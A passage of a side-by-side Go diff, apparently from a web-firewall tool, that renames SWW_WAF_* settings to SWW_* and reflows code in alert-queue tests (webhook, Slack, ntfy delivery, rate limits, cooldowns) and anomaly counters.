waiting := after.Snapshot().Waiting[alerts.DestinationWebhook] waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
waiting[0].Detail["file"] != "/rules.d/50-c.rules" { t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
t.Errorf(
"after loading, alerts wait %+v, want the one for 50-c.rules",
waiting,
)
} }
}) })
} }
@@ -397,12 +336,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(4),
},
)
q.Raise(alerts.Alert{Event: alerts.EventFileError}) q.Raise(alerts.Alert{Event: alerts.EventFileError})
// The summary is sent as the hour ends, and not before. // The summary is sent as the hour ends, and not before.
@@ -412,13 +346,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
t,
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
)
summary := webhook.received()[2].alert summary := webhook.received()[2].alert
wantAlert(t, summary, map[string]any{ wantAlert(t, summary, map[string]any{
@@ -431,14 +359,12 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
"as_name": "", "as_name": "",
"country": "", "country": "",
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " + "reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 2 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", "past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
"detail": map[string]any{ "detail": map[string]any{
"hour": started, "hour": started,
"count": float64(3), "count": float64(3),
"events": map[string]any{ "events": map[string]any{
"ban": float64( "ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
1,
), "permanent_ban": float64(1), "file_error": float64(1),
}, },
}, },
"suppressed_repeats": float64(0), "suppressed_repeats": float64(0),
@@ -449,21 +375,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
time.Sleep(time.Hour) time.Sleep(time.Hour)
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
t, alerts.EventBan)
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
wantCounts(t, q, 4, 0, 3, 0) wantCounts(t, q, 4, 0, 3, 0)
}) })
} }
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary( func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -471,9 +389,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
params.MaxPerHour = 1 params.MaxPerHour = 1
webhook, q := start(t, params) webhook, q := start(t, params)
raise := func() { raise := func() {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
} }
// The hour's one alert, and two repeats the cooldown holds back. // The hour's one alert, and two repeats the cooldown holds back.
@@ -492,13 +408,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
raise() raise()
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
t,
webhook,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
got := webhook.received() got := webhook.received()
if len(got) == 3 { if len(got) == 3 {
@@ -506,16 +416,11 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
summaryRepeats := got[1].alert["suppressed_repeats"] summaryRepeats := got[1].alert["suppressed_repeats"]
lastRepeats := got[2].alert["suppressed_repeats"] lastRepeats := got[2].alert["suppressed_repeats"]
if detail["count"] != float64(1) || if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
summaryRepeats != float64(2) ||
lastRepeats != float64(0) { lastRepeats != float64(0) {
t.Errorf( t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
"the summary counts %v alerts and %v repeats, and the last "+ "alert gives %v repeats, want 1, 2 and 0", detail["count"],
"alert gives %v repeats, want 1, 2 and 0", summaryRepeats, lastRepeats)
detail["count"],
summaryRepeats,
lastRepeats,
)
} }
} }
@@ -523,9 +428,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
}) })
} }
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp( func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} { for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
@@ -562,12 +465,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
kept := len(q.Snapshot().Cooldowns) kept := len(q.Snapshot().Cooldowns)
if kept > int(cooldown/time.Minute) { if kept > int(cooldown/time.Minute) {
t.Errorf( t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
"after %d netblocks, %d cooldowns are kept, want at most %d", netblocks, kept, int(cooldown/time.Minute))
netblocks,
kept,
int(cooldown/time.Minute),
)
} }
} }
@@ -585,13 +484,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
kept := len(q.Snapshot().Cooldowns) kept := len(q.Snapshot().Cooldowns)
if kept != 0 || repeats != float64(netblocks) { if kept != 0 || repeats != float64(netblocks) {
t.Errorf( t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
"%d cooldowns are kept and the webhook was given %v repeats, "+ "want 0 and %d", kept, repeats, netblocks)
"want 0 and %d",
kept,
repeats,
netblocks,
)
} }
}) })
}) })
@@ -631,7 +525,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
wantCounts(t, q, 0, int64(len(want)), 0, 0) wantCounts(t, q, 0, int64(len(want)), 0, 0)
if !strings.Contains(log.String(), if !strings.Contains(log.String(),
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) { `"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
t.Errorf("process log %q names no failure", log.String()) t.Errorf("process log %q names no failure", log.String())
} }
@@ -701,7 +595,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
wantCounts(t, q, 1, 3, 0, 1) wantCounts(t, q, 1, 3, 0, 1)
if !strings.Contains(log.String(), if !strings.Contains(log.String(),
`"msg":"gave up an alert SWW_WAF_ALERT_WEBHOOK_URL refused"`) { `"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
t.Errorf("process log %q names no alert given up", log.String()) t.Errorf("process log %q names no alert given up", log.String())
} }
}) })
@@ -724,18 +618,10 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
synctest.Wait() synctest.Wait()
logged := log.String() logged := log.String()
if !strings.Contains( if !strings.Contains(logged,
logged, `"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`, strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
) || t.Errorf("process log %q names no failure, or names the URL", logged)
strings.Contains(
logged,
"alerts.example",
) || strings.Contains(logged, "team=ops") {
t.Errorf(
"process log %q names no failure, or names the URL",
logged,
)
} }
}) })
} }
@@ -753,9 +639,7 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
// than the queue holds is raised: none waits, and the oldest, the // than the queue holds is raised: none waits, and the oldest, the
// one the webhook was sent, is dropped. // one the webhook was sent, is dropped.
for n := range alerts.QueueSize + 1 { for n := range alerts.QueueSize + 1 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
if n == 0 { if n == 0 {
synctest.Wait() synctest.Wait()
@@ -769,17 +653,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
wantCounts(t, q, 0, 0, 0, 1) wantCounts(t, q, 0, 0, 0, 1)
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook] waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != alerts.QueueSize || if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
waiting[0].Netblock != netblock(1) { t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
t.Fatalf( len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
"%d alerts wait, the first for %s, want %d, the first for %s",
len(
waiting,
),
waiting[0].Netblock,
alerts.QueueSize,
netblock(1),
)
} }
// The request is abandoned after 10 seconds, and the webhook, which // The request is abandoned after 10 seconds, and the webhook, which
@@ -791,22 +667,14 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
got := webhook.received() got := webhook.received()
if len(got) != alerts.QueueSize+1 || if len(got) != alerts.QueueSize+1 ||
got[0].alert["netblock"] != netblock(0).String() { got[0].alert["netblock"] != netblock(0).String() {
t.Fatalf( t.Fatalf("the webhook had %d requests, want %d, the first for %s",
"the webhook had %d requests, want %d, the first for %s", len(got), alerts.QueueSize+1, netblock(0))
len(got),
alerts.QueueSize+1,
netblock(0),
)
} }
for i, request := range got[1:] { for i, request := range got[1:] {
if request.alert["netblock"] != netblock(i+1).String() { if request.alert["netblock"] != netblock(i+1).String() {
t.Fatalf( t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
"request %d is for %v, want %s", netblock(i+1))
i+1,
request.alert["netblock"],
netblock(i+1),
)
} }
} }
@@ -824,12 +692,8 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// Not sent: Run is not running. The repeat is held back by the // Not sent: Run is not running. The repeat is held back by the
// cooldown, and the file error past the hourly limit. // cooldown, and the file error past the hourly limit.
before.Raise( before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
)
before.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
before.Raise(alerts.Alert{Event: alerts.EventFileError}) before.Raise(alerts.Alert{Event: alerts.EventFileError})
time.Sleep(time.Minute) time.Sleep(time.Minute)
@@ -840,9 +704,7 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// The new queue sends the alert waiting, holds back the repeat as // The new queue sends the alert waiting, holds back the repeat as
// the cooldown still runs, and sends the summary of the hour, which // the cooldown still runs, and sends the summary of the hour, which
// gives both repeats, as the cooldown has run out. // gives both repeats, as the cooldown has run out.
after.Raise( after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventBan) wantEvents(t, webhook, alerts.EventBan)
@@ -853,13 +715,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
summary := webhook.received()[1].alert summary := webhook.received()[1].alert
detail, _ := summary["detail"].(map[string]any) detail, _ := summary["detail"].(map[string]any)
if detail["count"] != float64(1) || if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
summary["suppressed_repeats"] != float64(2) { t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
t.Errorf( detail["count"], summary["suppressed_repeats"])
"the summary counts %v alerts and %v repeats, want 1 and 2",
detail["count"],
summary["suppressed_repeats"],
)
} }
}) })
} }
@@ -889,13 +747,7 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
for i, each := range want { for i, each := range want {
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text) wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
wantNtfyMessage( wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
t,
ntfy[i],
each.title,
each.priorityAndTag,
each.text,
)
} }
}) })
} }
@@ -908,23 +760,14 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
params.WebhookURL = nil params.WebhookURL = nil
params.MaxPerHour = 1 params.MaxPerHour = 1
standIns, q := startAll(t, params) standIns, q := startAll(t, params)
ban := alerts.Alert{ ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
Event: alerts.EventBan,
Netblock: netblock(1),
Reason: "a ban",
}
// The hour's one alert, a repeat of it the cooldown holds back, and // The hour's one alert, a repeat of it the cooldown holds back, and
// an alert past the limit; once the hour has ended, its summary, // an alert past the limit; once the hour has ended, its summary,
// which gives the repeat, and the next alert, which gives none. // which gives the repeat, and the next alert, which gives none.
q.Raise(ban) q.Raise(ban)
q.Raise(ban) q.Raise(ban)
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
alerts.Alert{
Event: alerts.EventFileError,
Reason: "a file error",
},
)
time.Sleep(time.Hour) time.Sleep(time.Hour)
synctest.Wait() synctest.Wait()
q.Raise(ban) q.Raise(ban)
@@ -939,22 +782,12 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
} }
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " + const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 1 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " + "past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
"by SWW_WAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1" "by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary) wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
wantNtfyMessage( wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
t, wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
ntfy[1],
instance+": summary",
"default bar_chart",
summary,
)
wantSlackMessage(
t,
slack[2],
"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
)
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry", wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
"a ban\nnetblock: 203.0.113.1/32") "a ban\nnetblock: 203.0.113.1/32")
}) })
@@ -980,11 +813,7 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+ wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+
"&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;") "&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;")
wantBodies( wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
t,
standIns[alerts.DestinationNtfy],
"<!channel> & <https://x.example|y>",
)
}) })
} }
@@ -1006,12 +835,7 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
params.NtfyToken = tc.token params.NtfyToken = tc.token
standIns, q := startAll(t, params) standIns, q := startAll(t, params)
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{
Event: alerts.EventBan,
Netblock: netblock(1),
},
)
synctest.Wait() synctest.Wait()
for destination, want := range map[string][]string{ for destination, want := range map[string][]string{
@@ -1021,21 +845,13 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
} { } {
got := standIns[destination].received() got := standIns[destination].received()
if len(got) != 1 { if len(got) != 1 {
t.Fatalf( t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
"%s was sent %d requests, want 1",
destination,
len(got),
)
} }
authorization := got[0].header.Values("Authorization") authorization := got[0].header.Values("Authorization")
if !slices.Equal(authorization, want) { if !slices.Equal(authorization, want) {
t.Errorf( t.Errorf("%s was sent Authorization %q, want %q", destination,
"%s was sent Authorization %q, want %q", authorization, want)
destination,
authorization,
want,
)
} }
} }
}) })
@@ -1054,9 +870,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
standIns[alerts.DestinationSlack].set(hanging) standIns[alerts.DestinationSlack].set(hanging)
for n := range 3 { for n := range 3 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
} }
synctest.Wait() synctest.Wait()
@@ -1071,9 +885,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
wantDestinationCounts(t, q, destination, want) wantDestinationCounts(t, q, destination, want)
} }
if got := standIns[alerts.DestinationSlack].received(); len( if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
got,
) != 1 {
t.Errorf("Slack was sent %d requests, want 1", len(got)) t.Errorf("Slack was sent %d requests, want 1", len(got))
} }
@@ -1088,16 +900,11 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
alerts.Counts{Sent: 3, SendFailures: 1}) alerts.Counts{Sent: 3, SendFailures: 1})
logged := log.String() logged := log.String()
if !strings.Contains( if !strings.Contains(logged,
logged, `"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
`"msg":"sending an alert to SWW_WAF_ALERT_SLACK_WEBHOOK_URL failed"`,
) ||
strings.Contains(logged, "hooks.slack.example") || strings.Contains(logged, "hooks.slack.example") ||
strings.Contains(logged, "T0123") { strings.Contains(logged, "T0123") {
t.Errorf( t.Errorf("process log %q names no failure, or names the URL", logged)
"process log %q names no failure, or names the URL",
logged,
)
} }
}) })
} }
@@ -1115,9 +922,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
// Each alert is raised once each destination has done all it can // Each alert is raised once each destination has done all it can
// with those before it. // with those before it.
for n := range alerts.QueueSize + 1 { for n := range alerts.QueueSize + 1 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
synctest.Wait() synctest.Wait()
} }
@@ -1331,10 +1136,7 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
// startAll returns, by destination, a stand-in that answers for each // startAll returns, by destination, a stand-in that answers for each
// destination params sets, and a Queue that sends to them, run until the // destination params sets, and a Queue that sends to them, run until the
// test ends. // test ends.
func startAll( func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
t *testing.T,
params alerts.Params,
) (map[string]*standIn, *alerts.Queue) {
t.Helper() t.Helper()
q := alerts.New(params) q := alerts.New(params)
@@ -1368,9 +1170,7 @@ func midnight() time.Time {
// netblock returns the n-th netblock of a test, counted from 0. // netblock returns the n-th netblock of a test, counted from 0.
func netblock(n int) netip.Prefix { func netblock(n int) netip.Prefix {
return netip.MustParsePrefix( return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
)
} }
// roundTrip returns state once written as JSON and read back, as // roundTrip returns state once written as JSON and read back, as
@@ -1423,22 +1223,12 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
// requests to it that it counts as failed, the alerts it counts as held // requests to it that it counts as failed, the alerts it counts as held
// back, and those it counts as dropped for the webhook. // back, and those it counts as dropped for the webhook.
func wantCounts( func wantCounts(
t *testing.T, t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
q *alerts.Queue,
sent, sendFailures, suppressed, dropped int64,
) { ) {
t.Helper() t.Helper()
wantDestinationCounts( wantDestinationCounts(t, q, alerts.DestinationWebhook,
t, alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
q,
alerts.DestinationWebhook,
alerts.Counts{
Sent: sent,
SendFailures: sendFailures,
Dropped: dropped,
},
)
if q.Suppressed() != suppressed { if q.Suppressed() != suppressed {
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed) t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1464,16 +1254,14 @@ type eventMessage struct {
title, priorityAndTag, text string title, priorityAndTag, text string
} }
// anAlertForEachEvent returns an alert for each event SWW_WAF_ALERT_EVENTS // anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
// names, the first in observe mode, each with its message. // names, the first in observe mode, each with its message.
func anAlertForEachEvent() []eventMessage { func anAlertForEachEvent() []eventMessage {
return []eventMessage{ return []eventMessage{
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"), Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
"203.0.113.0/24",
), Country: "DE",
Reason: "requests per hour over the limit of 10000", Reason: "requests per hour over the limit of 10000",
Detail: map[string]any{"mode": "observe"}, Detail: map[string]any{"mode": "observe"},
}, },
@@ -1484,9 +1272,7 @@ func anAlertForEachEvent() []eventMessage {
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"), Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
"198.51.100.7/32",
), Country: "FR",
Reason: "matched the rule env-file", Reason: "matched the rule env-file",
}, },
"fsn1app1/blog: permanent_ban", "high no_entry", "fsn1app1/blog: permanent_ban", "high no_entry",
@@ -1561,30 +1347,18 @@ func wantSlackMessage(t *testing.T, request post, text string) {
// wantNtfyMessage checks that request, one ntfy was sent, posted the // wantNtfyMessage checks that request, one ntfy was sent, posted the
// message text with the title, and with the priority and the tag // message text with the title, and with the priority and the tag
// priorityAndTag gives, with a space between them. // priorityAndTag gives, with a space between them.
func wantNtfyMessage( func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
t *testing.T,
request post,
title, priorityAndTag, text string,
) {
t.Helper() t.Helper()
got := []string{ got := []string{
request.method, request.url, request.header.Get("Title"), request.method, request.url, request.header.Get("Title"),
request.header.Get( request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
"Priority",
) + " " + request.header.Get(
"Tags",
), request.body,
} }
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text} want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf( t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
"ntfy was sent the method, URL, title, priority and tag, and text "+ "%q, want %q", got, want)
"%q, want %q",
got,
want,
)
} }
} }
+22 -56
View File
@@ -28,28 +28,22 @@ const maxCounters = 20000
// alerts name them. // alerts name them.
const ( const (
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of // ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
// SWW_WAF_IPV6_GROUP_PREFIX. // SWW_IPV6_GROUP_PREFIX.
ScopeClient = "client" ScopeClient = "client"
// ScopeNet is the netblock around a client, SWW_WAF_ANOMALY_NET_V4_PREFIX // ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
// or SWW_WAF_ANOMALY_NET_V6_PREFIX long. // or SWW_ANOMALY_NET_V6_PREFIX long.
ScopeNet = "net" ScopeNet = "net"
// ScopeASN is an AS number. // ScopeASN is an AS number.
ScopeASN = "asn" ScopeASN = "asn"
// ScopeTotal is the whole service. // ScopeTotal is the whole service.
ScopeTotal = "total" ScopeTotal = "total"
// ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS. // ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
ScopeWatchedNet = "watched_net" ScopeWatchedNet = "watched_net"
) )
// Scopes returns every scope. // Scopes returns every scope.
func Scopes() []string { func Scopes() []string {
return []string{ return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
ScopeClient,
ScopeNet,
ScopeASN,
ScopeTotal,
ScopeWatchedNet,
}
} }
// The windows a counter counts in, as the alerts name them. // The windows a counter counts in, as the alerts name them.
@@ -68,7 +62,7 @@ type Thresholds struct {
BytesPerHour int64 BytesPerHour int64
} }
// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names. // NamedNetblock is a netblock SWW_WATCH_NETS names.
type NamedNetblock struct { type NamedNetblock struct {
Name string Name string
Netblock netip.Prefix Netblock netip.Prefix
@@ -76,14 +70,14 @@ type NamedNetblock struct {
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*, // The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and // SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
// SWW_WAF_ANOMALY_WATCHED_NET_*. // SWW_WATCH_*.
Client, Net, ASN, Total, WatchedNet Thresholds Client, Net, ASN, Total, Watch Thresholds
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a // NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX). // client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
NetV4Prefix, NetV6Prefix int NetV4Prefix, NetV6Prefix int
// NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS. // NamedNetblocks are SWW_WATCH_NETS.
NamedNetblocks []NamedNetblock NamedNetblocks []NamedNetblock
// Alerts receive the anomaly alerts. // Alerts receive the anomaly alerts.
Alerts *alerts.Queue Alerts *alerts.Queue
@@ -113,13 +107,13 @@ type Request struct {
Host string Host string
// Client is the client's address, and ClientGroup the client it is // Client is the client's address, and ClientGroup the client it is
// counted as: its IPv4 address, or the IPv6 netblock of // counted as: its IPv4 address, or the IPv6 netblock of
// SWW_WAF_IPV6_GROUP_PREFIX its address is in. // SWW_IPV6_GROUP_PREFIX its address is in.
Client netip.Addr Client netip.Addr
ClientGroup netip.Prefix ClientGroup netip.Prefix
// ASN, ASName and Country are the client's as looked up, each "" when // ASN, ASName and Country are the client's as looked up, each "" when
// unknown. // unknown.
ASN, ASName, Country string ASN, ASName, Country string
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them. // Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
Bytes int64 Bytes int64
} }
@@ -197,12 +191,8 @@ func (c *Counters) Snapshot() []Counter {
c.mu.Unlock() c.mu.Unlock()
slices.SortFunc(counters, func(a, b Counter) int { slices.SortFunc(counters, func(a, b Counter) int {
return cmp.Or( return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
a.Netblock.Compare(b.Netblock),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
}) })
return counters return counters
@@ -267,11 +257,7 @@ func (c *Counters) scopesOf(r Request) []scope {
for _, named := range p.NamedNetblocks { for _, named := range p.NamedNetblocks {
if named.Netblock.Contains(client) { if named.Netblock.Contains(client) {
all = append(all, scope{ all = append(all, scope{
key{ key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
scope: ScopeWatchedNet,
netblock: named.Netblock,
name: named.Name,
}, p.WatchedNet,
}) })
} }
} }
@@ -330,12 +316,7 @@ func (c *Counter) add(
counted := count.buckets.Add(now, count.length, n) counted := count.buckets.Add(now, count.length, n)
if !passed && counted > float64(threshold) { if !passed && counted > float64(threshold) {
first = overThreshold{ first = overThreshold{count.kind, count.window, counted, threshold}
count.kind,
count.window,
counted,
threshold,
}
passed = true passed = true
} }
} }
@@ -378,22 +359,12 @@ func (c *Counter) lastStart() time.Time {
// key returns what tells c from the other counters. // key returns what tells c from the other counters.
func (c *Counter) key() key { func (c *Counter) key() key {
return key{ return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
scope: c.Scope,
netblock: c.Netblock,
asn: c.ASN,
